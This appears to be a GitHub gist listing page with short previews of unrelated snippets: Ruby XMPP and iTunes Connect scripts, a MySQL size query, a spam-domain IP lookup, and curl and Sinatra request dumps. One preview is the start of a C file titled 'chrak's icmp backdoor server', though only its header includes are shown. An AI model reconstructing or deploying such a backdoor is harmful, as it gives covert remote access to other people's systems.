This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Versioned pasties....neat |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
require "rubygems" | |
require "xmpp4r" | |
user = "[email protected]" | |
pass = "password_goes_here" | |
jid = Jabber::JID.new(user) | |
client = Jabber::Client.new(jid) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
mysql> SELECT count(*) TABLES, | |
concat(round(sum(table_rows)/1000000,2),'M') rows, | |
concat(round(sum(data_length)/(1024*1024*1024),2),'G') DATA, | |
concat(round(sum(index_length)/(1024*1024*1024),2),'G') idx, | |
concat(round(sum(data_length+index_length)/(1024*1024*1024),2),'G') total_size, | |
round(sum(index_length)/sum(data_length),2) idxfrac | |
FROM information_schema.TABLES; | |
+--------+----------+---------+--------+------------+---------+ | |
| TABLES | rows | DATA | idx | total_size | idxfrac | |
+--------+----------+---------+--------+------------+---------+ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby -wKU | |
require "socket" | |
# This prints a list of all the IPs associated with the domains in the following array | |
spam = %w{ | |
ANIMAL-CROSSING-CHEATS.COM | |
aladdin-cheats.com | |
all-crysis-cheats.com | |
all-diablo-cheats.com |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
gem 'mechanize', '>=0.9.0' | |
require 'mechanize' | |
### | |
# Log in to itunes connect, get the list of applications. | |
# | |
# Example: | |
# | |
# ITunesConnect.new do |client| | |
# client.login '[email protected]', 'password' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def deserialize_xml(response) | |
doc = Hpricot.XML(response) | |
(doc/'items/').each do |elemen| | |
name = elemen.name.gsub(/\-/, '_') | |
if elemen.children.size > 1 | |
stak = [] | |
elemen.children.each {|x| stak.push(x.inner_html) if x.elem? } | |
self.instance_variable_set("@#{name}", stak) | |
else | |
self.instance_variable_set("@#{name}", elemen.inner_html) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
~/workspace/kitchen/ curl -v http://tinyurl.com/3za9v | |
* About to connect() to tinyurl.com port 80 (#0) | |
* Trying 195.66.135.140... connected | |
* Connected to tinyurl.com (195.66.135.140) port 80 (#0) | |
> GET /3za9v HTTP/1.1 | |
> User-Agent: curl/7.19.2 (i386-apple-darwin9.6.0) libcurl/7.19.2 OpenSSL/0.9.8i zlib/1.2.3 | |
> Host: tinyurl.com | |
> Accept: */* | |
> | |
< HTTP/1.1 301 Moved Permanently |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#<Sinatra::Request:0x19033cc | |
@env= | |
{"SERVER_NAME"=>"0.0.0.0", | |
"HTTP_ACCEPT"=>"*/*", | |
"HTTP_HOST"=>"0.0.0.0:4567", | |
"rack.url_scheme"=>"http", | |
"CONTENT_LENGTH"=>"16", | |
"HTTP_USER_AGENT"=> | |
"curl/7.19.2 (i386-apple-darwin9.6.0) libcurl/7.19.2 OpenSSL/0.9.8i zlib/1.2.3", | |
"REQUEST_PATH"=>"/lol/123", |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* chrak's icmp backdoor server */ | |
#include <stdlib.h> | |
#include <stdio.h> | |
#include <sys/types.h> | |
#include <sys/socket.h> | |
#include <netinet/in.h> | |
#include <arpa/inet.h> | |
#include <netinet/in_systm.h> | |
#include <strings.h> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
CAN PEOPLE READ YOUR MIND? | |
-------------------------- | |
Silvio Cesare FOR THE OPPRESSED, | |
[email protected] COMMUNICATION IS THE BEGINNING OF ABOLITION. | |
in IRC | |
channel #freedog, efnet network, nick 'silvio' | |
oz.org network (Australia), nick 'silvio' |
OlderNewer